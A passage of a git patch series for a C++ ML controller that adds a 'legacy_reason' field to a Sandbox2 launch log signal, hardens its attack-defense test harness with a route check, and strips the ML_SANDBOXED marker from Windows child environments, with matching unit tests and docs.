m_Sandbox2DefaultEnabled == false) { route = CProcessSpawnerRouter::ERoute::E_Legacy; + legacyReason = CProcessSpawnerRouter::ELegacyReason::E_DormantDefault; LOG_DEBUG(<< "Routing '" << processPath << "' to the legacy path: no " << DISABLE_SANDBOX_TOKEN << " token and " << SANDBOX2_DEFAULT_ENFORCED_ENV @@ -187,11 +193,12 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { LOG_INFO(<< "Routing '" << processPath << "' to the legacy path: operator kill switch " << DISABLE_SANDBOX_TOKEN << " in command with ID " << id); route = CProcessSpawnerRouter::ERoute::E_Legacy; + legacyReason = CProcessSpawnerRouter::ELegacyReason::E_KillSwitch; tokens.erase(firstDisableSandbox); } core::CProcess::TPid childPid{0}; - if (m_Spawner.spawn(route, processPath, tokens, childPid) == false) { + if (m_Spawner.spawn(route, processPath, tokens, childPid, legacyReason) == false) { std::string error{"Failed to start process '" + processPath + '\''}; LOG_ERROR(<< error << " in command with ID " << id); m_ResponseWriter.writeResponse(id, false, error); diff --git a/bin/controller/CProcessSpawnerRouter.cc b/bin/controller/CProcessSpawnerRouter.cc index ab1b7e0f8f..24fa7794ef 100644 --- a/bin/controller/CProcessSpawnerRouter.cc +++ b/bin/controller/CProcessSpawnerRouter.cc @@ -116,6 +116,7 @@ bool CProcessSpawnerRouter::isSandboxedProcessPath(const std::string& processPat } void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, + ELegacyReason legacyReason, const std::string& deploymentId, const TStrVec& args, bool spawnSucceeded) const { @@ -133,11 +134,33 @@ void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, } const bool sandbox2Established{mode == "enforced"}; + // Additive field, emitted *only* on the legacy route (route == + // "legacy", i.e. mode == "degraded"): mode alone conflates a deliberate + // operator kill switch with the dormant default that is in effect for + // the entire rollout window. Omitted entirely - never "" and never null + // - on route == "sandbox2", i.e. on both the "enforced" and + // "fail_closed" modes, since neither can have a legacy reason. + std::string legacyReasonField; + if (isLegacyRoute) { + const char* reason{legacyReason == ELegacyReason::E_KillSwitch ? "kill_switch" + : "dormant_default"}; + if (legacyReason == ELegacyReason::E_NotLegacy) { + // A caller that routed to legacy without naming why: report the + // dormant default (the overwhelmingly common case during the + // rollout window) rather than falsely claiming an operator + // kill switch. + LOG_WARN(<< "Legacy route with no recorded provenance; reporting the " + "dormant default in the sandbox2_launch signal"); + } + legacyReasonField = std::string{",\"legacy_reason\":\""} + reason + "\""; + } + std::ostringstream signal; signal << "{\"event\":\"sandbox2_launch\"" << ",\"deployment_id\":\"" << jsonEscape(deploymentId) << "\"" << ",\"model_id\":\"" << jsonEscape(scanModelId(args)) << "\"" << ",\"route\":\"" << (isLegacyRoute ? "legacy" : "sandbox2") << "\"" + << legacyReasonField << ",\"sandbox2_established\":" << (sandbox2Established ? "true" : "false") << ",\"mode\":\"" << mode << "\"" << "}"; @@ -147,7 +170,8 @@ void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, bool CProcessSpawnerRouter::spawn(ERoute route, const std::string& processPath, const TStrVec& args, - core::CProcess::TPid& childPid) { + core::CProcess::TPid& childPid, + ELegacyReason legacyReason) { // The H4 signal (design.md §Failure behavior and observability) fires // only for processes actually eligible for sandboxing - never for // unrelated permitted processes like autodetect - and exactly once per @@ -170,9 +194,10 @@ bool CProcessSpawnerRouter::spawn(ERoute route, // args by CCommandProcessor) or the dormant no-token default. This // router never re-parses args to decide anything (unlike the frozen // prior art's spawn(), which re-derived disableSandbox from args - // itself), so it cannot - and must not - name which of the two it + // itself), so it cannot - and must not - derive which of the two it // was; CCommandProcessor logs that provenance at the point it is - // actually known. + // actually known, and passes it in as legacyReason purely so the H4 + // signal below can report it. LOG_INFO(<< "Launching '" << processPath << "' without Sandbox2 (legacy route selected by the controller); " << "the in-process seccomp filter applies"); @@ -204,7 +229,7 @@ bool CProcessSpawnerRouter::spawn(ERoute route, } if (sandboxEligible) { - this->emitLaunchSignal(route, deploymentId, args, spawned); + this->emitLaunchSignal(route, legacyReason, deploymentId, args, spawned); } return spawned; diff --git a/bin/controller/CProcessSpawnerRouter.h b/bin/controller/CProcessSpawnerRouter.h index f25ef378a3..0879f9e48d 100644 --- a/bin/controller/CProcessSpawnerRouter.h +++ b/bin/controller/CProcessSpawnerRouter.h @@ -60,6 +60,21 @@ class CProcessSpawnerRouter { E_Legacy }; + //! Why the caller chose ERoute::E_Legacy. The router never derives this + //! (it never re-parses args): CCommandProcessor passes the provenance it + //! already knows from making the decision, purely so the H4 signal's + //! additive "legacy_reason" field can distinguish a deliberate operator + //! kill switch from the dormant default that is in effect for the whole + //! rollout window - mode == "degraded" alone cannot. + enum class ELegacyReason { + //! The route is E_Sandbox2; no legacy_reason is emitted at all. + E_NotLegacy, + //! A validated --disableSandbox token was present. + E_KillSwitch, + //! No token, and ML_SANDBOX2_DEFAULT_ENFORCED is not enabled. + E_DormantDefault + }; + public: CProcessSpawnerRouter(const TStrVec& permittedProcessPaths, const TStrVec& sandboxedProcessPaths); @@ -67,10 +82,14 @@ class CProcessSpawnerRouter { //! Dispatch a spawn request per the already-decided \p route. Returns //! false immediately on a Sandbox2 failure - never retries via the //! legacy spawner (V2, "no automatic fallback"). + //! \param legacyReason provenance of an E_Legacy \p route, for the H4 + //! signal only - never used to dispatch. Must be E_NotLegacy + //! (the default) when \p route is E_Sandbox2. bool spawn(ERoute route, const std::string& processPath, const TStrVec& args, - core::CProcess::TPid& childPid); + core::CProcess::TPid& childPid, + ELegacyReason legacyReason = ELegacyReason::E_NotLegacy); //! Terminate a child previously spawned by either backend. bool terminateChild(core::CProcess::TPid pid); @@ -102,6 +121,7 @@ class CProcessSpawnerRouter { //! the value in this signal cannot disagree with the value the //! dispatch decision was made against. void emitLaunchSignal(ERoute route, + ELegacyReason legacyReason, const std::string& deploymentId, const TStrVec& args, bool spawnSucceeded) const; diff --git a/bin/controller/unittest/CCommandProcessorTest.cc b/bin/controller/unittest/CCommandProcessorTest.cc index 962d365311..72f1894955 100644 --- a/bin/controller/unittest/CCommandProcessorTest.cc +++ b/bin/controller/unittest/CCommandProcessorTest.cc @@ -9,6 +9,7 @@ * limitation. */ +#include #include #include #include @@ -16,6 +17,7 @@ #include "../CCommandProcessor.h" +#include #include #include @@ -67,6 +69,18 @@ class CScopedSandbox2DefaultEnforced { CScopedSandbox2DefaultEnforced(const CScopedSandbox2DefaultEnforced&) = delete; CScopedSandbox2DefaultEnforced& operator=(const CScopedSandbox2DefaultEnforced&) = delete; }; + +//! Redirect the logger to a string stream for the duration of \p fn, so a +//! test can assert on the router's H4 sandbox2_launch signal (the same +//! capture style bin/controller/unittest/CProcessSpawnerRouterTest.cc uses). +template +std::string captureLogged(FN&& fn) { + auto stream = boost::make_shared(); + BOOST_TEST_REQUIRE(ml::core::CLogger::instance().reconfigure(stream)); + fn(); + ml::core::CLogger::instance().reset(); + return stream->str(); +} } BOOST_AUTO_TEST_CASE(testStartPermitted) { @@ -453,6 +467,59 @@ BOOST_AUTO_TEST_CASE(testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPat BOOST_TEST_REQUIRE(response.find("\"id\":16,\"success\":true") != std::string::npos); } +BOOST_AUTO_TEST_CASE(testLegacyReasonProvenanceReachesH4Signal) { + // The two legacy-route provenances must arrive at the H4 signal + // distinguishable: mode == "degraded" alone cannot separate a deliberate + // operator kill switch from the dormant default that is in effect for + // the whole rollout window. This asserts the wiring from the route + // decision in handleStart() through to the emitted signal. + ml::core::CUnSetEnv::unSetEnv("ML_SANDBOX2_DEFAULT_ENFORCED"); + + const std::string OUT{"sandbox2_legacy_reason_out.txt"}; + + // (a) No token, option off -> dormant_default. + std::remove(OUT.c_str()); + std::ostringstream dormantResponses; + std::string dormantLogged{captureLogged([&] { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, dormantResponses}; + BOOST_REQUIRE_EQUAL(true, processor.handleCommand(startCommand( + 20, PROCESS_PATH, + {"-c", "cp " + INPUT_FILE1 + " " + OUT}))); + })}; + std::this_thread::sleep_for(std::chrono::seconds{1}); + std::remove(OUT.c_str()); + + BOOST_REQUIRE(dormantLogged.find("\"route\":\"legacy\"") != std::string::npos); + BOOST_REQUIRE(dormantLogged.find("\"legacy_reason\":\"dormant_default\"") != std::string::npos); + BOOST_REQUIRE(dormantLogged.find("\"legacy_reason\":\"kill_switch\"") == std::string::npos); + + // (b) Validated --disableSandbox token -> kill_switch, whatever the + // option's state (here explicitly on, so the token is the only reason + // the legacy route could have been selected). + CScopedSandbox2DefaultEnforced enforced{"1"}; + std::remove(OUT.c_str()); + std::ostringstream killSwitchResponses; + std::string killSwitchLogged{captureLogged([&] { + ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + killSwitchResponses}; + BOOST_REQUIRE_EQUAL(true, processor.handleCommand(startCommand( + 21, PROCESS_PATH, + {"-c", "cp " + INPUT_FILE1 + " " + OUT, + "--disableSandbox"}))); + })}; + std::this_thread::sleep_for(std::chrono::seconds{1}); + std::remove(OUT.c_str()); + + BOOST_REQUIRE(killSwitchLogged.find("\"route\":\"legacy\"") != std::string::npos); + BOOST_REQUIRE(killSwitchLogged.find("\"legacy_reason\":\"kill_switch\"") != std::string::npos); + BOOST_REQUIRE(killSwitchLogged.find("\"legacy_reason\":\"dormant_default\"") == + std::string::npos); +} + #ifndef SANDBOX2_AVAILABLE BOOST_AUTO_TEST_CASE(testStartSelectsSandbox2RouteWhenTokenAbsentAndDefaultEnforced) { // The opt-in half of the dormant default: with the internal option diff --git a/bin/controller/unittest/CProcessSpawnerRouterTest.cc b/bin/controller/unittest/CProcessSpawnerRouterTest.cc index 2960f65b68..c0905ee315 100644 --- a/bin/controller/unittest/CProcessSpawnerRouterTest.cc +++ b/bin/controller/unittest/CProcessSpawnerRouterTest.cc @@ -429,6 +429,77 @@ BOOST_AUTO_TEST_CASE(testH4SignalDegradedOnLegacyRouteFailure) { BOOST_REQUIRE(logged.find("\"model_id\":\"deploy-degraded-fail\"") != std::string::npos); } +BOOST_AUTO_TEST_CASE(testH4SignalLegacyReasonKillSwitch) { + // legacy_reason distinguishes the two states mode == "degraded" + // conflates. E_KillSwitch: a validated --disableSandbox token was + // present, i.e. a deliberate operator/test action. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths; // spawn fails deterministically + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{"--modelid=deploy-kill-switch"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid, + ml::controller::CProcessSpawnerRouter::ELegacyReason::E_KillSwitch)); + })}; + + BOOST_REQUIRE(logged.find("\"route\":\"legacy\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"mode\":\"degraded\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"legacy_reason\":\"kill_switch\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"legacy_reason\":\"dormant_default\"") == std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testH4SignalLegacyReasonDormantDefault) { + // E_DormantDefault: no token was needed at all - the legacy route is + // simply still the default because ML_SANDBOX2_DEFAULT_ENFORCED is off. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths; // spawn fails deterministically + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{"--modelid=deploy-dormant"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, + router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, PROCESS_PATH, + args, childPid, + ml::controller::CProcessSpawnerRouter::ELegacyReason::E_DormantDefault)); + })}; + + BOOST_REQUIRE(logged.find("\"route\":\"legacy\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"mode\":\"degraded\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"legacy_reason\":\"dormant_default\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"legacy_reason\":\"kill_switch\"") == std::string::npos); +} + +#ifndef SANDBOX2_AVAILABLE +BOOST_AUTO_TEST_CASE(testH4SignalNoLegacyReasonOnSandbox2Route) { + // legacy_reason is omitted entirely - not emitted as "" or null - on + // every route == "sandbox2" signal. On this build that is the + // fail_closed mode (route == "sandbox2", spawn failed); mode == + // "enforced" shares the same route value and the same omission, and is + // Buildkite-deferred for the reason documented below. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{"--modelid=deploy-no-legacy-reason"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, + PROCESS_PATH, args, childPid)); + })}; + + BOOST_REQUIRE(logged.find("\"route\":\"sandbox2\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"mode\":\"fail_closed\"") != std::string::npos); + BOOST_REQUIRE(logged.find("legacy_reason") == std::string::npos); +} +#endif // !SANDBOX2_AVAILABLE + // Buildkite-deferred (Linux + Sandbox2 only): the mode == "enforced" / // sandbox2_established == true case requires a real successful Sandbox2 // launch (route == E_Sandbox2, a sandboxedProcessPaths entry, spawn() diff --git a/docs/sandbox2_production_failure_modes.md b/docs/sandbox2_production_failure_modes.md index 140e1abf4a..8449012078 100644 --- a/docs/sandbox2_production_failure_modes.md +++ b/docs/sandbox2_production_failure_modes.md @@ -32,9 +32,17 @@ single-line JSON object. | `deployment_id` | string | `SChildIpcLaunchSpec::s_ChildId`, from a single `sandbox::validateChildIpcLaunchSpec()` call made **once per `spawn()`, before dispatch**, so the value cannot disagree with the state the dispatch decision was taken against and is populated on the `degraded`/`fail_closed` modes too. Empty string (`""`, explicit, never omitted) only when no path-bearing launch option (`input`/`output`/`restore`/`logPipe`) was present at all. Control characters, quotes and backslashes are JSON-escaped so the line stays single-line JSON. | | `model_id` | string | Scanned from a `--modelid=` launch argument, using the same linear string-prefix scan style as the controller's `--disableSandbox` token scan. Empty string if absent. Escaped as for `deployment_id`. | | `route` | string | `"sandbox2"` when `CProcessSpawnerRouter::ERoute::E_Sandbox2` was in effect, `"legacy"` when the controller selected `E_Legacy` - either via the operator kill-switch (`--disableSandbox`) or via the dormant no-token default (see "Dormant no-token default" below). | +| `legacy_reason` | string | **Only present when `route == "legacy"`** (equivalently, `mode == "degraded"`); **omitted entirely** - never `""`, never `null` - on `route == "sandbox2"`, i.e. on both `enforced` and `fail_closed`. `"kill_switch"` when a validated `--disableSandbox` token selected the legacy route, `"dormant_default"` when no token was needed and `ML_SANDBOX2_DEFAULT_ENFORCED` simply is not enabled. Provenance is passed in by `CCommandProcessor` (the only place it is known); the router never derives it from `args`. | | `sandbox2_established` | boolean | JSON boolean (`true`/`false`, never the string `"y"`/`"n"`). `true` iff `mode == "enforced"`, else `false`. | | `mode` | string | One of `"enforced"`, `"fail_closed"`, `"degraded"` - see mapping below. | +`legacy_reason` exists because `mode == "degraded"` alone conflates a +deliberate operator kill-switch launch with the dormant default that is in +effect for the entire rollout window - during that window every ordinary +launch is `degraded`, so the mode carries no diagnostic information on its +own. It is additive: `event`/`deployment_id`/`model_id`/`route`/ +`sandbox2_established`/`mode` and their semantics are unchanged. + **`mode` mapping** (binding, PR E Task 4 controller ruling): - `enforced` - `route == "sandbox2"` (no operator kill-switch token) and the @@ -44,7 +52,8 @@ single-line JSON object. configured as sandboxed but this build has no Sandbox2 support). - `degraded` - `route == "legacy"` (operator kill-switch token present and validated, or the dormant no-token default in effect), regardless of - whether the legacy spawn itself succeeded or failed. + whether the legacy spawn itself succeeded or failed. `legacy_reason` names + which of the two it was, and is emitted only on this mode. ### Dormant no-token default @@ -80,10 +89,27 @@ on a launch `sandbox2_launch` reports as `"route":"sandbox2"`. So a `"route":"sandbox2"` launch never carries a `seccomp_installed` marker, and that absence is expected, not a missing signal. +`ML_SANDBOXED` is a fail-open marker, so it is stripped from the environment +of every child the legacy spawner launches +(`lib/core/CDetachedProcessSpawner.cc`, `detail::buildChildEnvironment()`) - +an inherited or externally injected `ML_SANDBOXED=1` in the controller's own +environment can therefore never suppress a legacy-route child's mandatory +in-process filter. Only `CSandboxedProcessSpawner` sets it, and only on real +sandboxees. + +Hard termination on a failed in-process seccomp installation +(`TERMINATE_ON_DEGRADED_SECCOMP_FAILURE` in +`bin/pytorch_inference/Main.cc`) is deliberately **off** while the legacy +route is still the production default: during the dormant window every +ordinary launch is a degraded-route launch, so terminating would fail every +launch on a host without usable seccomp BPF. It becomes safe to activate at +the same time the default stops being legacy. + Example: ```json {"event":"sandbox2_launch","deployment_id":"a1b2c3","model_id":"my-model","route":"sandbox2","sandbox2_established":true,"mode":"enforced"} +{"event":"sandbox2_launch","deployment_id":"a1b2c3","model_id":"my-model","route":"legacy","legacy_reason":"dormant_default","sandbox2_established":false,"mode":"degraded"} ``` Emission site: `bin/controller/CProcessSpawnerRouter.cc`, @@ -121,6 +147,15 @@ cannot find it), and a per-case cleanup assertion (`kill ` against the controller reports failure once the case ends, proving the child was reaped). +Because the shipped no-token default is the legacy route, the harness starts +the controller with `ML_SANDBOX2_DEFAULT_ENFORCED=1` in its environment, and +each case asserts the route reported by that launch's own `sandbox2_launch` +signal (`sandbox2` for the sandboxed cases, `legacy` for the +`--disableSandbox` control) **before** any target-file assertion. Without +both, a sandboxed case could route to the legacy path and still show "no +target file" for entirely the wrong reason - a false pass on the security +proof. + **Command:** ```bash diff --git a/test/test_sandbox2_attack_defense.py b/test/test_sandbox2_attack_defense.py index d85446f3c2..d810fd8c59 100644 --- a/test/test_sandbox2_attack_defense.py +++ b/test/test_sandbox2_attack_defense.py @@ -306,6 +306,38 @@ def find_child_pid(controller, process_path, since_offset, timeout=PID_DISCOVERY time.sleep(0.1) +#! The controller's H4 structured once-per-launch signal, emitted by +#! bin/controller/CProcessSpawnerRouter.cc emitLaunchSignal() over the same +#! log pipe. Boost.Log escapes the embedded quotes, so the raw capture is +#! unescaped before matching. +LAUNCH_SIGNAL_ROUTE_RE = re.compile(r'"event":"sandbox2_launch".*?"route":"(?P[a-z0-9_]+)"') + + +def find_launch_route(controller, since_offset, timeout=PID_DISCOVERY_TIMEOUT): + """Return the route ("sandbox2" / "legacy") the controller's own H4 + sandbox2_launch signal reports for the launch issued after since_offset, + or None if no such signal appeared within timeout. + + This is the harness's guard against silently invalidating the security + proof: a "sandboxed" case that actually routed to the legacy path would + still produce "no target file" for entirely the wrong reason (see + run_pytorch_case()). + """ + log_path = controller.control_dir / 'controller_log_output.txt' + deadline = time.time() + timeout + while True: + raw = _read_new_content(log_path, since_offset).replace('\\"', '"') + route = None + for match in LAUNCH_SIGNAL_ROUTE_RE.finditer(raw): + # Last match wins, consistent with find_child_pid(). + route = match.group('route') + if route is not None: + return route + if time.time() >= deadline: + return None + time.sleep(0.1) + + def tail_contains(path, needle, deadline): """Poll path until it contains needle or deadline (a time.time() value) passes.""" @@ -415,6 +447,20 @@ def open_stdin_for_controller(): env = dict(os.environ) env['TMPDIR'] = str(child_tmp_base) + # The controller's no-token default route is the *legacy* + # (unsandboxed) path unless this internal option is exactly "1" + # - the shipped, dormant state (see + # bin/controller/CCommandProcessor.cc). Every "sandboxed" case + # here sends a plain `start` with no --disableSandbox token, so + # without this the sandboxed cases would run on the legacy path + # and the harness's negative assertion ("the malicious model's + # target file must not exist") would be checked against a child + # that was never sandboxed at all - a false pass on a security + # proof. Set on the controller's own environment rather than + # relying on the invoker (dev-tools/run_sandbox2_attack_defense.sh + # only execs this script), so the harness is self-contained. + env['ML_SANDBOX2_DEFAULT_ENFORCED'] = '1' + self._start_controller_with_stdin(stdin_fd, env) time.sleep(0.3) @@ -811,6 +857,33 @@ def run_pytorch_case(controller, pytorch_bin, model_path, tmp_base, command_id, return result, reached, target_file_created, response, leaked_address_seen, pid result.info(f"Controller accepted start: {response.get('reason')}") + # Routing assertion, BEFORE any boundary assertion: the case is only + # evidence about Sandbox2 if the controller actually routed this + # launch the way the case intends. A sandboxed case that silently + # landed on the legacy path (e.g. ML_SANDBOX2_DEFAULT_ENFORCED not + # reaching the controller, or a route-decision regression) would + # still show "no target file" - for the wrong reason. Fail loudly + # here instead. + expected_route = 'legacy' if unsandboxed else 'sandbox2' + actual_route = find_launch_route(controller, log_offset) + if actual_route is None: + result.fail( + "No sandbox2_launch (H4) signal observed on the controller log within " + f"{PID_DISCOVERY_TIMEOUT}s of a successful start response - cannot confirm " + f"this launch took the '{expected_route}' route; not asserting on target file") + controller.check_controller_logs() + return result, reached, target_file_created, response, leaked_address_seen, pid + if actual_route != expected_route: + result.fail( + f"Routing regression: controller's sandbox2_launch signal reports " + f"\"route\":\"{actual_route}\" but this case requires " + f"\"{expected_route}\". The child was not sandboxed as intended, so any " + f"target-file assertion below would prove nothing about Sandbox2; " + f"not asserting on target file") + controller.check_controller_logs() + return result, reached, target_file_created, response, leaked_address_seen, pid + result.info(f"H4 signal confirms route: {actual_route}") + pid = find_child_pid(controller, f'./{pytorch_name}', log_offset) if pid is None: result.fail( From e0e3ac4afccf7f282225eacb0d5d69d136a31ab7 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Thu, 10 Sep 2026 08:06:55 +0200 Subject: [PATCH 15/36] [ML] Fix Windows fail-open ML_SANDBOXED bypass; drop dead scratch-path comment CreateProcess() on Windows was called with lpEnvironment=0, so the legacy route's child inherited the parent's environment completely unfiltered - including ML_SANDBOXED if present - while pytorch_inference's sandbox2LaunchedChild() check (bin/pytorch_inference/Main.cc) that decides whether to install the in-process seccomp filter runs unconditionally on every platform. The POSIX ML_SANDBOXED-stripping added earlier in this PR was guarded #ifndef Windows and never had a Windows counterpart, so a Windows build could fail open. Port the stripping to CDetachedProcessSpawner_Windows.cc: build a filtered ANSI environment block from GetEnvironmentStringsA() (matching the file's existing ANSI CreateProcess usage) and pass it via lpEnvironment instead of 0. Add a Windows-gated unit test mirroring the existing POSIX testMlSandboxedStrippedFromChildEnvironment. Also drop a dead .superpowers/... scratch-path reference from a comment in test/evil_model_generator.py - that path is a session-scoped planning file in a different repo, not present for anyone cloning ml-cpp standalone. --- include/core/CDetachedProcessSpawner.h | 17 ++++- lib/core/CDetachedProcessSpawner_Windows.cc | 70 ++++++++++++++++++- .../unittest/CDetachedProcessSpawnerTest.cc | 64 +++++++++++++++++ test/evil_model_generator.py | 7 +- 4 files changed, 152 insertions(+), 6 deletions(-) diff --git a/include/core/CDetachedProcessSpawner.h b/include/core/CDetachedProcessSpawner.h index 477f9a8725..af0ce5d1b4 100644 --- a/include/core/CDetachedProcessSpawner.h +++ b/include/core/CDetachedProcessSpawner.h @@ -23,7 +23,6 @@ namespace core { namespace detail { class CTrackerThread; -#ifndef Windows //! \return true if \p entry (a "NAME=VALUE" environment entry, or nullptr) is //! one this class must never pass on to a spawned child. //! @@ -35,14 +34,30 @@ class CTrackerThread; //! sandbox2LaunchedChild()), so inheriting the marker would fail open. //! Matched on the exact name: \c ML_SANDBOXED_ANYTHING is not stripped. //! Exposed for unit testing; not part of this class's public contract. +//! +//! Platform note: the two CDetachedProcessSpawner_*.cc source files are +//! alternatives selected by ml_generate_platform_sources() at build time, +//! not compiled together, so each platform source file defines its own +//! copy of this function. CORE_EXPORT bool isStrippedChildEnvEntry(const char* entry); +#ifndef Windows //! Build the environment array handed to \c posix_spawn() from //! \p parentEnvironment (normally \c environ): every entry for which //! isStrippedChildEnvEntry() is false, in order, then a NULL terminator. The //! returned pointers alias \p parentEnvironment's own strings - no copies - //! so the result must not outlive it. Exposed for unit testing. CORE_EXPORT std::vector buildChildEnvironment(char** parentEnvironment); +#else +//! Build the environment block handed to \c CreateProcess() via its +//! \c lpEnvironment parameter from \p parentEnvironmentBlock (normally the +//! result of \c GetEnvironmentStringsA()): a new buffer containing every +//! "NAME=VALUE" entry from \p parentEnvironmentBlock for which +//! isStrippedChildEnvEntry() is false, in order, formatted per the ANSI +//! environment block convention CreateProcess() requires (a sequence of +//! NUL-terminated strings followed by one extra terminating NUL). Exposed +//! for unit testing. +CORE_EXPORT std::string buildChildEnvironmentBlock(const char* parentEnvironmentBlock); #endif } diff --git a/lib/core/CDetachedProcessSpawner_Windows.cc b/lib/core/CDetachedProcessSpawner_Windows.cc index 8113fb866e..542b1c2c25 100644 --- a/lib/core/CDetachedProcessSpawner_Windows.cc +++ b/lib/core/CDetachedProcessSpawner_Windows.cc @@ -19,12 +19,57 @@ #include #include +#include #include +namespace { + +//! Environment variable name (without '=') that must never be inherited by a +//! child spawned by this class. See +//! ml::core::detail::isStrippedChildEnvEntry(). +const char* SANDBOXEE_MARKER_ENV_NAME{"ML_SANDBOXED"}; +} + namespace ml { namespace core { namespace detail { +bool isStrippedChildEnvEntry(const char* entry) { + if (entry == nullptr) { + return false; + } + const std::size_t nameLength{::strlen(SANDBOXEE_MARKER_ENV_NAME)}; + // Exact name match only: "ML_SANDBOXED=..." is stripped, + // "ML_SANDBOXED_FOO=..." (a different variable that merely shares the + // prefix) is not. + return ::strncmp(entry, SANDBOXEE_MARKER_ENV_NAME, nameLength) == 0 && + entry[nameLength] == '='; +} + +std::string buildChildEnvironmentBlock(const char* parentEnvironmentBlock) { + std::string block; + if (parentEnvironmentBlock != nullptr) { + const char* entry{parentEnvironmentBlock}; + while (*entry != '\0') { + std::size_t entryLength{::strlen(entry)}; + if (isStrippedChildEnvEntry(entry) == false) { + // Include the entry's own terminating NUL. + block.append(entry, entryLength + 1); + } + entry += entryLength + 1; + } + } + // Windows requires the block to end with an extra NUL beyond the last + // entry's own terminator. Handle the (unlikely) empty-block case + // explicitly so it is still correctly double-NUL-terminated. + if (block.empty()) { + block.append(std::size_t(2), '\0'); + } else { + block.push_back('\0'); + } + return block; +} + class CTrackerThread : public CThread { public: using TPidHandleMap = std::map; @@ -182,6 +227,28 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, PROCESS_INFORMATION processInformation; ::memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); + // The child inherits this process's environment with ML_SANDBOXED + // removed. That variable is the Sandbox2 sandboxee marker (see + // lib/sandbox/CSandboxedProcessSpawner_Linux.cc) and pytorch_inference + // skips its mandatory in-process seccomp filter when it sees + // ML_SANDBOXED=1 (include/seccomp/CSystemCallFilter.h + // sandbox2LaunchedChild()). A child spawned here is by definition *not* + // inside Sandbox2, so inheriting the marker - however it got into this + // process's own environment, e.g. injected by an orchestration layer - + // would fail open: the child would run untrusted model code with + // neither the executor policy nor its own filter. Stripping it here + // makes the legacy route's filter installation unconditional regardless + // of the spawning process's environment. Passing an explicit + // lpEnvironment (rather than 0, which would make CreateProcess() + // inherit this process's environment completely unfiltered) is what + // makes this stripping effective. + LPSTR parentEnvironmentBlock{::GetEnvironmentStringsA()}; + std::string childEnvironmentBlock{ + detail::buildChildEnvironmentBlock(parentEnvironmentBlock)}; + if (parentEnvironmentBlock != 0) { + ::FreeEnvironmentStringsA(parentEnvironmentBlock); + } + { // Hold the tracker thread mutex until the PID is added to the tracker // to avoid a race condition if the process is started but dies really @@ -201,7 +268,8 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, // None of this would be a problem if we redirected stderr using // freopen(), but instead we redirect the underlying OS level // file handles so that we can revert the redirection. - CREATE_NEW_PROCESS_GROUP | CREATE_NO_WINDOW, 0, 0, &startupInfo, + CREATE_NEW_PROCESS_GROUP | CREATE_NO_WINDOW, + const_cast(childEnvironmentBlock.data()), 0, &startupInfo, &processInformation) == FALSE) { LOG_ERROR(<< "Failed to spawn '" << processPath << "': " << CWindowsError()); return false; diff --git a/lib/core/unittest/CDetachedProcessSpawnerTest.cc b/lib/core/unittest/CDetachedProcessSpawnerTest.cc index f3a64a6093..424f54e851 100644 --- a/lib/core/unittest/CDetachedProcessSpawnerTest.cc +++ b/lib/core/unittest/CDetachedProcessSpawnerTest.cc @@ -197,4 +197,68 @@ BOOST_AUTO_TEST_CASE(testMlSandboxedStrippedFromChildEnvironment) { } #endif // !Windows +#ifdef Windows +BOOST_AUTO_TEST_CASE(testMlSandboxedStrippedFromChildEnvironmentBlock) { + // Windows analog of testMlSandboxedStrippedFromChildEnvironment above: + // ML_SANDBOXED=1 is the Sandbox2 sandboxee marker and pytorch_inference + // skips its mandatory in-process seccomp filter when it sees it (see + // include/seccomp/CSystemCallFilter.h sandbox2LaunchedChild()). A child + // spawned by this class is never inside Sandbox2, so it must never + // inherit the marker via the environment block passed to + // CreateProcess()'s lpEnvironment parameter - not even when the + // spawning process's own environment carries it. + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOXED=1")); + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOXED=")); + 